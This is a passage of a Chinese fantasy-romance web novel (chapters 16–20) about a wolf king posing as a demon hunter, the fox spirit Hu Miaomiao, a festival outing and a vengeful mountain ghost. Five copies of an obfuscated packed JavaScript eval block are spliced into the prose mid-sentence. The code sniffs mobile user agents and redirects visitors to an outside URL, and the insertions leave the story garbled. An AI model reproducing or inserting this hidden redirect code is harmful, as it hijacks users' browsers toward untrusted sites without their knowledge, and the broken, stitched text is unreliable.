君泽琛蹙眉:“狐妖阴险狡诈,淼淼不便掺和。” 红溯魇:“这上巳节……” 君泽琛:“你什么时候能改得了这聒噪的毛病?我是不会带她去冒险的。” 红溯魇:“……” 他顶着狼王杀人的视线,改变了政策。 “没有女人不喜欢男人勇猛的样子,您现在的身份不是捉妖师吗?您去当着她的面儿斩妖除恶,除暴安良,这不是很英勇的事情吗?她肯定加倍喜欢您。” 狼族最勇猛的钢铁狼面无表情:“来人间几天,就忘了自己是妖了?要除妖就应该先除掉你,还有,谁稀罕她的喜欢?” 三日后…… 人模狗样的捉妖师把胡淼淼薅住,冷静自若:“跟我走一趟吧。” 胡淼淼刚睡醒,睡眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031716|178656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朦胧,还有些发蒙,迷迷糊糊打了个哈气:“干嘛呀,我还没吃早饭。” “下山,去镇上吃。” “不去,我不喜欢人多的地方。” 别的狐狸都喜欢热闹,可胡淼淼却不想引人注目。 “镇上的食物要比你自己做的好吃好几倍。” 胡淼淼瘪嘴。 她不挑食的。 好吃不好吃都能吃。 更何况她又没多少钱,才不去呢。 她执意不肯去,君泽琛使出杀手锏。 “你不去,总得为好狗考虑考虑吧,他活着的时候没看过几次人间繁华,死后看看也算是了无遗憾了。” 胡淼淼被他说心动了。 她屁颠屁颠收拾洗漱完毕,问他怎么去,坐村里的牛车吗? 君泽琛说不用,坐狗车就行。 一匹红狼脖子上拴着绳子,身上压着车子的重量,骂骂咧咧来到山脚下。 垮着一张狼脸,一看就是被强迫的。 胡淼淼爱屋及乌,对狗这种东西有了滤镜,难免心疼。 “他身体这么小,怎么能拉得动车呢?” 原本满含怨念的红狼不乐意了,他立即呲牙裂嘴:“瞎说什么,男妖怎么能说小呢?” 胡淼淼不懂他什么意思,君泽琛隐约懂了,上去就踹一脚,冷声警告:“再满嘴不干净,小心我把你剁了喂狐狸。” 红狼嗷呜一声,耷拉着尾巴,任劳任怨拉车。 狼妖的速度要比牛车快,没过多久就进行南水镇了,胡淼淼好奇地瞅了瞅外面。 “今天好像有哪里不一样。” 君泽琛回忆:“红狗说今天是人间的上巳节。” 胡淼淼问:“做什么的呀?” 君泽琛不是很懂,但作为成熟的狼妖,要让自己看起来比较靠谱。 他开始分析:“上巳节,上祭,应该是祭祀的,他们在祭祀。” 胡淼淼趴车窗看着人来人往、有说有笑的男男女女,顿悟:“嗷,人类真复杂,祭祀怎么看起来开开心心的。” 君泽琛:“拜先祖,拜神佛,或纪念已逝的亲人。” 胡淼淼表示理解,“是的,一想到好狗在我身边看着我,我就觉得挺满足的。” 正在拉车,累到吐舌头的红溯魇:“……” 他眼睛瞪得像铜铃,不是,他家狼王的情商,是用武力换的吗? 还有那个人类,他家王不是人,不懂人间习俗,你也不懂吗? 见鬼的祭祀! 只有祭祀吗?大好的时光,不应该做点别的? 17. 第 17 章 人间的上巳节有很多讲究,祭祀,祓禊、游春等活动,但最后流传下来,最著名的还是年轻人互赠信物,交换心意。 人来人往的城镇,男女结伴而行,不经意间的目光碰撞,引起彼此脸红。 围绕在整个镇上的暧昧气氛,都要擦出火星子了,唯有两个人显得格格不入。 红狼幻化成人形,无语地跟在后面 。 他看着有貌美的姑娘前来找狼王赠送香囊,被他们狼王凶走。 还看见有公子去找胡淼淼,也被他们狼王凶走。 他们狼族的王,就像是守着肉包子的狗,阴沉着一张俊美容颜,谁来咬谁。 红溯魇不忍直视。 偏偏,前面的两个人不曾察觉到不对劲儿。 君泽琛犹如站在高处巡视领土的野兽,冷着脸赶走乱七八糟的人类,带胡淼淼去了一家客栈吃饭。 点了几样胡淼淼没吃多的食物。 胡淼淼什么都吃,刚开始还以为也就那样,谁知尝了一口之后惊为天人。 “哇,好吃。” 她抱着红烧肘子嗷呜又是一口,天然上翘、且纯情又魅惑的狐狸眼瞪圆了,一边吃,一边扫视桌子上菜,恨不得有一张血盆大口,一口就把食物统统丢到肚子里。 比起人类做出的食物,曾经好狗做煮的鸡肉都不香了。 她咬一口,撕下来一块,放在旁边的碗里。 坐在她对面的君泽琛下意识伸手过去,在即将触碰到碗口之际,指尖猛然顿住,他抬头。 女人不知何时停止了嘴上的动作,正歪头,疑惑地看着他:“你做什么?” 君泽琛:“……” 他若无其事把手收回去。 “应该是我要问你,做什么。” 胡淼淼:“好狗就在我旁边看着我,以前只要有我一口吃的,肯定也要给它点,就算它现在吃不到,看看也是好的。” 其实是胡淼淼他们之间留下的习惯,往日吃不饱穿不暖的时候,胡淼淼吃什么都会给狗一口。 君泽琛刚才也只是下意识去接,差点忘记他现在是人类,不是“狗”。 好在,这古怪的氛围,被一群新进来的人打破。 那些人紧张兮兮进来。 “来,快点的,来两盘烧鸡,一盘花生米,一壶酒,哥几个吃完了可得赶紧走。” “来嘞!”店里的小伙计赶紧上前招呼客人,顺嘴问了一句:“客官,怎么了这是?” 那人一拍桌子,“还不是拈花楼,刚才又死人了,老子正好从里面出来,差点给老子吓死,尸体都抽成干尸了。” 小伙计闻言习以为常了,配合地叹了一口气,“哎呀,这一个月以来,三天两头就得死一个,也没啥规律,我听说过啊,是一只妖怪在作祟,前不久不是请了戴家的捉妖师去除妖吗?” “什么戴家,那只妖孽不还在害人吗?戴家如果有用,早就将妖孽弄死了,能等到现在?” “这可不行说啊,戴家百年基业,还是有几分道行的。” “算了吧,和江湖骗子只差一个家族,一家骗子。” 胡淼淼不止一次听起他们谈论代价,想着君泽琛同样是捉妖师,应该对戴家有所了解吧? 于是她问:“戴家捉妖的实力很差劲吗?” 君泽琛当然不了解,不过,在狼王眼里,所有人类都很弱。 他眉头微微上扬,如是道:“一群乌合之众。” 胡淼淼纠结:“什么意思?” 君泽琛:“……一群弱鸡。” 这话胡淼淼懂了,鸡什么的,狐狸食谱上,戴家的弱鸡应该怕狐狸才是。 她心安理得地继续啃肘子。 -- 君泽琛此行的目的除了带胡淼淼吃一些好的之外,就是要抓住那只敢咬他的狐狸精。 他将那行人的话记在了心里,等胡淼淼吃饱,让红溯魇打听了一下拈花楼,只等时机,守株待狐。 胡淼淼不明所以跟在他们两个身后,最后他们来到一条大红大绿的街道,这里到处挂着灯笼,关门闭户,没见几个人。 红溯魇说:“这里最近闹妖怪,吓走不少人,另外,这里晚上才能开门。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031717|178656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 君泽琛没在说话,强大的神识扫视一圈,并没察觉有何不妥。 看来只能等晚上了。 红溯魇疯狂暗示:“大人,今天的日子比较特殊,您要不要带着胡姑娘和那些人类一样去玩一玩?传言今日的才子佳人会互相赠送信物,并祈求神明赏赐姻缘。” 君泽琛闻言嗤之以鼻:“我不信神佛,求他们有何用?” 红溯魇:“……” 胡淼淼也点点头:“对,不信神,求神不如求自己。” 传言狐族有神,只要勤加修炼,不祸害苍生,早晚有一日能修成正果,得道成仙。 可神仙是什么? 都说神仙会庇佑他们的子民,在胡淼淼狐生最脆弱无助的时候,神明又在哪里呢? 还不是靠着她自己一步一步爬出泥潭,心疼地拾起被拔掉的狐毛,并躲起来舔舐身上的伤口。 狐神并不眷顾她,大概眷顾她的,只有那只冷着脸的狗了。 君泽琛洞悉能力很强,捕捉到她低落的情绪,迟疑地道:“你如果想去,我陪你去?” 胡淼淼摇摇头,“不去了,神明不会帮我实现愿望。” 君泽琛眸色颇深,“不如你讲给我听,兴许就能实现愿望?” 胡淼淼一愣,像是遇见了什么惊奇的事件,仰头盯着他看。 一个捉妖师,竟然要帮助妖族实现愿望吗? 胡淼淼下意识扯住了他手臂,“那,你能让我好好活着吗?” 让她好好活着,哪怕最后捉妖师得知了她是狐狸的真相,依旧不杀狐? 君泽琛还以为什么事儿呢,没想到她的愿望只是活着,他任由她的小手拉着自己,背脊笔直,站在她的面前,连凉薄的面容都缓和了不少。 他说:好。 胡淼淼却弯了弯眼眸,心思单纯,别人说什么就信什么的她,唯独不信这句话,更没把这句话放着心上。 她觉得,终有一日,君泽琛知道她是狐妖之后,会亲手杀掉她。 理智告诉她,应该远离捉妖师,心里却控制不住的想从他身上,寻找消散的光景。 18. 第 18 章 最后一缕阳光落下,浓雾弥漫在天上,整条街的红灯笼亮起来,人要比白日里多上一些。 都是不怕死的,手里拿着酒往嘴里灌,喝多了的人一个失手,酒盏坠落在地,发出咔嚓一声响动,凝聚起来的灰色雾气扭曲一瞬,恢复平静。 没过多久,有人喊了一声有人死了,引起了整个楼里暴动不安。 君泽琛一脚踏入拈花楼,便被里面的香粉气息熏得直皱眉头,胡淼淼躲在他身后捂着鼻子,小小地打了几个喷嚏。 唯有红溯魇适应良好,他激动道:“王……啊,大人,快点,一定是那只狐妖作祟!” 胡淼淼悄咪咪瞪他一眼。 君泽琛微微抬了抬下巴,“你去抓出来。” 红溯魇:“?” 这怎么和计划中的不一样,说好的捉妖师大人当着美人儿的面,捉拿妖物,救人于水火,讨得美人欢心呢? 男人沉稳地站在原地,用眼神交流:味太冲,你去。 “……”红溯魇恨铁不成钢,在心里骂骂咧咧。 这挑剔的狼到底是怎么成为狼王的,他为什么就打不过呢。 红溯魇百思不得其解,按耐住造反的心,顺着混乱的发源地走进去。 拈花楼的客人陆陆续续像外面跑,唯有红溯魇是向内走的,他仰头,看向二楼,那里是事发现场,此时围着一群人,这些人浑身上下都散发着令妖族厌恶的味道。 是符咒,和道术。 他们是捉妖师。 捉妖师们以一个绿衣青年为首,他身材消瘦,颧骨微鼓,眼袋很深,像是没睡醒的样子,一旁有人在给他扇扇子,无视地上死去的人,十分殷勤: “少爷,您热不热?要不先喝口水,再寻妖?” 都二十好几的人了,还被人称之为少爷,和孩子一样伺候着。 这人正是戴家继承人,戴继昌。 生来就是要继承戴家百年捉妖基业的,身上肩负着家族昌盛的重任。 然而,戴家就这么一个独苗苗,平时宝贝得和什么似的,整个镇里都不敢惹。 狼妖堂而皇之混进来,捉妖师戴大少爷却只是兴致缺缺地看两眼,便收回了视线,他嫌弃地瞥一眼地上死去的干尸,隐约觉得有几分眼熟,却不记得了。 他不耐烦道:“能吸食人精气的除了狐妖还能是什么?大惊小怪的,我们又不是没捉过狐妖?” 拈花楼的主事儿花姐说:“可是狐妖只有在那种时候才能……咱这人来人往的,王二爷和妖怪根本没机会接触吗?” 仅仅一句话,戴继昌就怒了。 “你是捉妖师还是我是捉妖师?本少爷说是狐妖就是狐妖,妖族手段卑劣,你们这些凡夫俗子,怎能防得住?” 没人发现,角落里,灰黑色的影子在悄然蠕动。 花姐现在就指望戴家的人捉妖呢,当然不敢得罪,尴尬地挤出一抹笑,给戴继昌赔不是。 戴继昌依旧咄咄逼人:“你们胆敢质疑我,有本事你们就去找更厉害的捉妖师算了。” 这个地方偏僻,上哪去找其他捉妖师? 就算有捉妖师,也不会在这个时候站出来得罪戴家。 花姐没办法,也知晓戴继昌性子,干脆叫上了楼里所有姑娘过来,给倒茶,捏肩,捶腿。 戴继昌还是不满意,挥开了身上的姑娘,轻挑地向楼下一指,“那个怎么没见过,让你们楼里的那个女人过来。” 一时之间,二楼的所有人都看了过去。 门口,有一对儿男女站在一起,男的气势逼人,样貌俊美中带着凶戾,瞧着很不好惹。 女的样貌清丽如诗如画,气势轻灵,有一双与气场完全不符合的狐狸眼,蛊惑人心,又纯净美好。 好漂亮的女人。 花姐错愕,赶紧和戴继昌解释,这根本不是他们楼里的姑娘。 漂亮的姑娘有很多,可楼下那名女子一看绝非寻常姑娘,戴继昌多看两眼,花姐都觉得他的目光是对人家姑娘的亵渎。 其实这种目光胡淼淼见多了,在她眼里,雄性生物都这样,唯有她养的狗,目光讨人喜欢。 不过,为什么突然指着她呢? 胡淼淼和君泽琛没进去只是在门口站着而已,她茫然地指了指自己,无辜道:“人不是我杀的,我刚来。” 虽然她是妖,但她不背锅。 “笨!”君泽琛看不下去了,黑着脸将她薅到身后,并勒令她好好待着别捣乱,剩下的交给他。 胡淼淼莫名被骂,委委屈屈去一旁待着了。 早在戴继昌指着胡淼淼的时候,君泽琛的脸色就不好看了。 他本身长得就凶,如今更是堪称凶神恶煞,众人几乎是没怎么看清他的动作,眨眼间他就已经上了二楼,站在了戴继昌身前。 戴继昌吓了一跳,“你……你想干什么?” 身为戴家的继承人,戴继昌从小到大顺风顺水,做什么都有一群人捧着,想要什么东西都有人双手奉上。 他认为,不管门口的姑娘是不是楼里的,只要他想,就都应该是他的。 这句话,他不仅想了,而且还说出来了。 君泽琛扯了扯唇角:“是吗?” 戴继昌冷汗直冒,但还是嘴硬威胁:“对,不管那姑娘是你什么人,只要我想要就是我的了,不然戴家不会放过你,你以后遇见妖物,也别想戴家帮你捉妖!” 如今这世道,妖孽横行,指不定哪天就被妖精缠上了,戴继昌就不信男人不害怕! 然而,他看见男人像是听到了天大的笑话一样,嗤笑了一声,对楼下睥了一眼。 下一秒,戴继昌的瞳孔放大。 耳边更是炸响了无数人的尖叫声。 只因,下面的一个红衣男子,竟然当中变成了一匹狼,狼身高大,模样诡谲,一张嘴,发出惊天动地的…… “汪!” 躲在门口的胡淼淼惊叹:“这狗妖的原形好大呀!” 抱头鼠窜的众人类:“哈?” 什么东西? 这玩意儿是狗妖? 狗妖怎么狼里狼气? 更让人觉得不可思议的是,这狼妖似乎和男人一伙的? 君泽琛指尖一点,戴继昌就浮空而起,惊恐得一脸菜色,“你要干什么,我警告你不要乱来,我爹娘不会放过你……我是捉妖师。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031718|178656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “巧了,我也是。”拈花楼灯笼杂乱的光下,男人像是和他们分开为两个世界,他处于黑暗中,眉眼深邃,张狂霸气。 “小红,去把妖孽找出来。” 众人一愣,小红? 那只妖怪吗? 男人在说什么,他说他是捉妖师。 能奴役妖怪的捉妖师有很多,可无不是捉妖界的佼佼者,怎么会出现他们穷乡僻壤的行南水镇? 可事实由不得他们不信。 红狼十分嘚瑟地炫耀着自己威武雄壮的身躯,并以爪子把地板踩碎,高傲地扬起头颅,激进地想要在人类以及漂亮姑娘面前展现。 直到狼王蕴含警告的声音传入耳朵,他才知收敛,汪了一声,蹦到角落里狠狠一爪子。 “出来吧你!” 身为狼王的左膀右臂,自然有些本事,角落里的古怪别人察觉不到,但逃不出狼眼。 随着他的爪子落下,整栋墙轰然倒塌,隐藏在墙缝里的黑雾试图逃走,被狼妖狠狠按在脚下。 他愣了一下,“不是狐妖?” 在他脚下的黑雾瑟瑟发抖,发出的是一道女音,“别……大人饶命。” 所有人的注意力都被吸引了过去,想看一看到底是什么妖怪在作祟。 刻板印象使然,他们一直以为是狐妖,没想到是一个不成型的黑雾。 红狼脚踩黑雾,“你是什么东西?” 不像是妖,他在妖族几百年都没见过。 他的力量太过强大,黑雾蜷缩成一团,“是……山鬼。” 山鬼? 红溯魇略有所闻,山鬼,传言在人或妖在濒临死亡之际,最后一□□气,吸收了天地间的灵气,以另一种形态存活下来的生物。 非人非妖非鬼。 世界上的山鬼很少,只存活在传说里,上一次听闻,还是红狼年幼时,听族中的独眼狼说的。 独眼狼还说,山鬼这种东西的形成需要天大的气运。 红溯魇没想到自己竟然能遇见…… 他继续逼问:“楼里的尸体,是你所为?” 山鬼飘荡的雾气一顿,寂静良久,才说:“是我,可我是为了……” 红狼略微失望:“还以为是我要找的狐狸精,没想到是一只山鬼。” 那语气,要多遗憾有多遗憾。 山鬼:“……” 然后,红狼松开了山鬼,大爪一挥:“我不想听你的故事,玩去吧。” 山鬼:“……” 躲门口的小狐狸大怒:“臭狗!你不要差别对待,怎么山鬼就能玩去?狐狸就不行?” 太可恶了,胡淼淼忍两个臭雄性很久了,做什么其他妖族怎么样都行,非要揪住狐族的狐狸尾巴不放? 怎么地,不是狐狸精很失望吗? 胡淼淼也讨厌欺负她的狐狸精,但无论如何,她都是狐狸! 狐,不能忘本! 她怒了,红狼愣了愣,看了一眼楼上,迟疑地将爪子重新搭在山鬼身上。 小狐狸要闹了,她漂亮的脸蛋气鼓鼓,指着山鬼:“你不听,我听,来,让我听听你的故事。” 山鬼:“……我谢谢你。” 19. 第 19 章 故事其实很简单,山鬼原本是行南水镇的一个普通女孩,拥有爱她的父母,品行端正、很厉害的未婚夫,以及对她爱护有加的哥哥。 她和未婚夫在上巳节相识,他们彼此赠送信物,并许下承诺,今生非对方不娶/嫁。 可是后来,在成婚的前一个月,她被一群破皮无赖相中,他们盯上她许久了,想对她图谋不轨。 哥哥为了保护她硬生生被打断了腿。 就在她惨遭毒手之际,一个人横空出世,救了她。 “他说他叫戴继昌。” 此名一出,所有人都不敢置信地看着二楼吊在半空中的戴继昌。 连小狐狸都不能幸免,眨巴眨巴狐狸眼,“不是,他还能救人呢?” 不怪小狐狸以貌取人,实在是从来人间到现在,就没听过戴家一句好话。 况且,戴继昌刚才还指狐狸,肯定是想诬蔑狐狸杀人。 这样的人类,怎么可能救人呢? 山鬼说:“就是他救的。” 确实是他救的,戴继昌正好路过,带着一众属下呜呜泱泱的来了,派人打走了那些坏人,亲自将她拉起来,并命人医治她的哥哥。 把众人听得一愣一愣地,看了看山鬼,又看了看戴继昌。 简直不敢相信戴继昌是她口中说的是一个人。 小狐狸挠挠头,“可是,这和你杀人有什么关系呢?” 山鬼原本还好好的,语气温吞 ,突然变得狂躁。 “他们都是坏人!都是坏人!我杀不了戴继昌,就只能用这种方法。” “我想变强!我要杀了他!” “是他 ,害死了我全家,戴继昌救了我,我很感激,就邀请他来我们家做客,我父母盛情款待,听说他们捉妖辛苦,还经常让我去送饭,后来我才知道,一切不过是他们的阴谋,他们想要杀我未婚夫……” 故事向着神奇的方向发展。 世道没有天理,男人之间的竞争,却要女人来背负。 山鬼的未婚夫也是一名捉妖师。 整个行南水镇的捉妖行业都被戴家垄断,有来到行南水镇的捉妖师都会投奔戴家。 山鬼未婚夫不同,他独来独往,实力非凡,戴家解决不了的妖族,都被她未婚夫解决了 。 也因此得罪了戴家人。 他们通过人脉打探到山鬼一家,制造了一场好戏。 她亲耳听见,一院之隔,里面的戴继昌在狂笑:“哈哈哈,林不凡也是眼瞎,怎么看上了那么普通的妞儿,长得不好看,性子也唯唯诺诺,还很啰嗦,每次见到本少爷都啰嗦一大堆,还有她送的那个饭,打发叫花子呢?让本少爷吃那些难以下咽的东西。” 狗腿子劝:“其实属下觉得少爷为了一个捉妖师费尽心思不值当,少爷何苦一直和那女人演戏?” 另一个下属说:“瞧你这话说的,少爷不是说要拿下林不凡的女人,届时看他痛不欲生的嘴脸吗?!” 哐当—— 山鬼手里的饭盒没拿住,掉在了地上。 他们出来,发现了山鬼,她想回去告诉未婚夫,小心戴家,还想和未婚夫说,他们快点成婚吧,她永远不会抛弃他。 山鬼有很多话想说,可最终却没能逃出戴继昌的魔爪,死在了未婚夫的怀里。 她记得,那天下了很大的雨,乌云笼罩了光明,黑暗席卷大地,身体是冷的,温度一点一滴从她的身体里流逝。 她以为自己和其他人一样,会浑浑噩噩长辞于世,却被一滴冰冷的泪唤醒了。 山鬼仿佛和身体分离,她的灵魂睁开了眼。 她看见林不凡抱着她的尸体哭得很伤心 ,看见了他脱掉衣服,拿刀划破自己的胸膛,用心头血,在她眉心汇聚出一个血色符文,保她最后一口气永久不散,自己却维持着抱着她的动作,失去了生息。 她飘出身体,凭借本能回到家。 看见的却是母亲得知自己死讯心病缠身,半个月就撒手人寰了。 父亲拿着棍子去找戴家理论,被他们硬生生打死。 断了腿的兄长无人照看,哭喊着爬出去,满身泥泞,拼凑父亲的尸骨,用一双手,挖了一天一夜,将父亲埋葬在母亲身边,然后自戕父母坟前。 一桩桩一列列的惨案,随着山鬼的嗓音,呈现在所有人眼前。 不知何时,黑雾弥漫在整个楼里,化作为她生前的经历。 楼里的姑娘们哭得稀里哗啦。 山鬼继续麻木地陈述:“我想报仇,可是我太弱了。” 她曾经只是普通人类成为山鬼不过一年,天地间有限制,精怪一旦对人族动手,必将万劫不复 。 她不怕万劫不复,只是怕不能为全家人报仇。 戴家的人还是有些道行的,所以她先对曾经欺负过她的普通人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031719|178656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下手。 “楼里死的那个人叫旭彪,他是曾经帮助戴继昌演戏的人员之一。” 当初戴继昌自导自演,让旭彪他们欺负她,打断了兄长的腿,而今,她终于能报仇了。 她的能力是致幻,在环境中侵蚀人的心魂,以及人类的血液。 毕竟,她本身就是林不凡的心头血留在人间的。 山鬼说:“这些日子,被害死的那些人确实是我所为,你们要替他们报仇吗?” 红狼按着她,“报什么仇报仇,我是来听故事的。” 小祖宗要听故事,他只能被迫营业。 况且,人界死不死人和他狼妖有什么关系吗? 一听不是和戴继昌一伙的,山鬼松了一口气,“可以放开我了吗?” 红溯魇:“那不行,我得听上头的。” 于是山鬼将希望寄托在楼上的那个男人。 她胆战心惊:“您应该不会帮他报仇吧?” 山鬼虽然没能正面和君泽琛对敌,但隔着老远能感受到男人的危险,如果男人想要帮助戴继昌,自己这辈子都不会有机会复仇了吧。 不过,还有希望,目前来看,男人和戴继昌是敌对的。 然而,男人却用一种恐怖的眼神盯着她,眼神凌厉,声音冷如寒潭。 “自然不会为了这个废物寻仇,但你告诉我,我带来的人去哪了?” 山鬼一愣:“什么人?” 红溯魇意识到事情不好,一回头,果然看见拈花楼大厅门口的人不见了。 他大惊:“不是,胡淼淼刚才还在这呢,怎么一会儿的工夫没了?” 山鬼在他爪下凌乱,否认三连,“我不知道,我没有,我没做!我在认真地讲故事!” 男人冷冷开口:“是,讲的太过投入,把你的破雾给我收回去。” 山鬼忙不迭地扯掉因为失控从而产生的力量,众人从悲伤中脱离,也发现少了个人。 世界上凄惨的人有很多,君泽琛自己就是一个 ,根本没把山鬼的人生放着心上,毕竟对方的遭遇又不是他造成的,他也更没有什么善心去怜悯他人。 他在乎的人,只有一个。 他只是想知道,他从未离开过视线半刻的人去哪了? 那么大的人? 从山鬼起雾开始,胡淼淼就不见了踪迹。 他合理怀疑,是山鬼的其他阴谋。 20. 第 20 章 山鬼并没有骗人,她所说的话句句属实,然而君泽琛才不管山鬼说的是真是假,反正她有嫌疑。 他把戴继昌丢给山鬼,冷声说:“这个是你的,但你最好和她的消失没有关系。” “小红,给我盯紧拈花楼,放走一个,我剥了你的狗皮。” 红溯魇想说,其实他不叫小红。 其次,真把他当狗了? 可他看见狼王大人阴森恐怖的表情,挺大的一坨狼,硬是不敢吱一声,兢兢业业地在楼内施下结界,别说是人,就连一只公蚊子都别想飞出去。 当年那猴子七十二变都不好使儿。 君泽琛尚能感知到胡淼淼的气息,刚离开不远,他大步追了出去。 -- 胡淼淼正在酷跑。 一个月光明媚的夜晚,一只毛绒绒,白乎乎的狐狸,四只爪子轮换得飞快,堪称白狐牌风火轮。 她恨不得在地上磨出火星子来,速度之快,狐在前面跑,毛毛在后面飞。 两只软软的大耳朵在空气中向后摇摆,耳边是呼呼的风声,后面是一群“妖魔鬼怪”。 半刻钟之前,她还在拈花楼里面听故事,正跟姑娘们哭得稀里哗啦,大骂戴继昌是坏人,臭人,渣人,各种能想到的辱骂词汇在脑子里搜了一遍,统统砸了出去。 骂着骂着突然楼里黑了,雾气遮挡住了人类的视线,狐狸视线稍微受阻,却还是能感知到有熟悉的气息正在接近。 她惊得差点刨个坑把自己埋了和好狗一起去长眠。 原因无他,她的同族丧心病狂,无视妖族的规矩,进来追她了。 关键是这里有捉妖师呀! 如果被一群狐狸当着君泽琛的面拆穿她是狐狸,那么好了。 无论是同族们,还是她……都得死。 实力这方面,胡淼淼从不质疑君泽琛。 初次见面,狐狸的尸体堆积成山,这辈子都别想忘记。 再不把狐狸们引开,她就得成为尸体的一员。 趁着别人不注意,胡淼淼溜出拈花楼变成原形,拼劲了洪荒之力,刺溜刺溜,就呲溜出来了。 逃跑什么的,还是四驱比较快。 显然,她同族也这么想的。 于是,就在这个月亮风高的夜晚,一群五彩斑斓的杀马特狐狸们,追着一只弱小可怜又无助的蓝白色小狐狸,追了十多条街,出现在郊外。 最后,胡淼淼快跑不动了,爪子发酸,心里也酸酸的,一边跑,一边对后面的狐狸们喊:“别追了别追了,这地方有捉妖师吃狐狸!” 狐狸们冷笑:“有本事你别跑啊孽障,我们少君说了,只要你束手就擒,我们就饶你不死。” 胡淼淼信他们的鬼。 世上狐狸千千万,唯有少君最可恨。 如果不是他闲来没事儿骚扰狐,她怎么会流落到人间? 现在还纠缠她不放。 胡淼淼心里委屈,她都不认识那只公狐狸,非要说什么她引起了他的注意。 啊呸! 她被其他狐狸打了,躲在角落里梳毛,怎么就引起他的注意了? 合着他的兴趣建立在她的痛苦之上? 越想,胡淼淼越气,最后气得迷糊了,竟然有一种带着这群破狐狸去撞君泽琛的刀口的想法,干脆都杀了算了。 胡淼淼曾经悄悄许下无数个愿望,让欺负过她的狐狸精统统掉毛掉成秃子、爪子脱落,牙齿摔飞,或者被可恶的狼抓走。 统统没有实现。 她不被狐神眷顾,这次不知怎么的,竟然真的实现了愿望,她恍恍惚惚,好像看见了君泽琛……第一反应就是,完啦,嘴炮的愿望大可不必当真。 她真的,撞君泽琛的刀口了,还一头,撞在了他腿上,他的腿太硬,狐狸脑袋被撞得嗡嗡的,她俩爪抱头,整只狐狸咕噜噜滚了好远,噗叽一下倒地不起。 疼,疼死狐了。 -- 君泽琛顺着胡淼淼残留的气息瞬移到郊外,然后他看见了什么? 胡淼淼没看见。 反而看见一大群讨厌的狐狸正在噼哩噗噜地狂奔,为首的小不点让他眯起了眼睛。 很好,胡淼淼没找到,这个小冤家倒是找到了。 他漂浮在半空中,在狐狸群到达之时,转瞬落地。 小狐狸的反应就是慢,他都落地好几秒了,还硬生生往他身上撞。 他冷眼看小狐狸撞在自己腿上,反弹回去,在地上弹了两下,滚了几圈,最终蜷缩成一团哼哼唧唧。 狐狸语他懒得翻译,但能听出她骂的很脏了。 相较于前面的这只狐狸,她身后的狐狸群却反应迅速地一个急刹车,炸着毛分开,将他们两个围在中间。 为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031720|178656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 首的红狐警惕开口:“人类,这是我们狐族内部的事儿,我劝你少管闲事。” 其他狐狸唯唯诺诺不敢吱声,一个个欺软怕硬,完全没了之前对胡淼淼叫嚣的气焰。 明眼狐都能看出男人的不同之处,他身上有一种他们本能畏惧的危机感,就好像是遇见了天敌,不,甚至比天敌更让他们害怕。 君泽琛淡淡瞥他们一眼,“可看见一名长得很好看,比你们任何狐族都好看的人类女人?” 狐狸们:“……” 瞎说 ,他们狐狸精都好看着呢,怎么会有比他们好看的人类? 除非那人类成精了。 他们集体摇头,并对地上的那只小狐狸虎视眈眈。 胡淼淼头疼了好一会儿,才缓过来劲儿。 她默默从地上爬起来,抖抖身上的灰,瞅了瞅狐狸们,又看了看最害怕的煞神,心里盘算着,反正自己现在不是人形模样,君泽琛认不出她是胡淼淼。 那么……她是不是可以赌一把? 小狐狸挺直了腰板,用尾巴垫在爪前,十分虔诚地向君泽琛拜了拜。 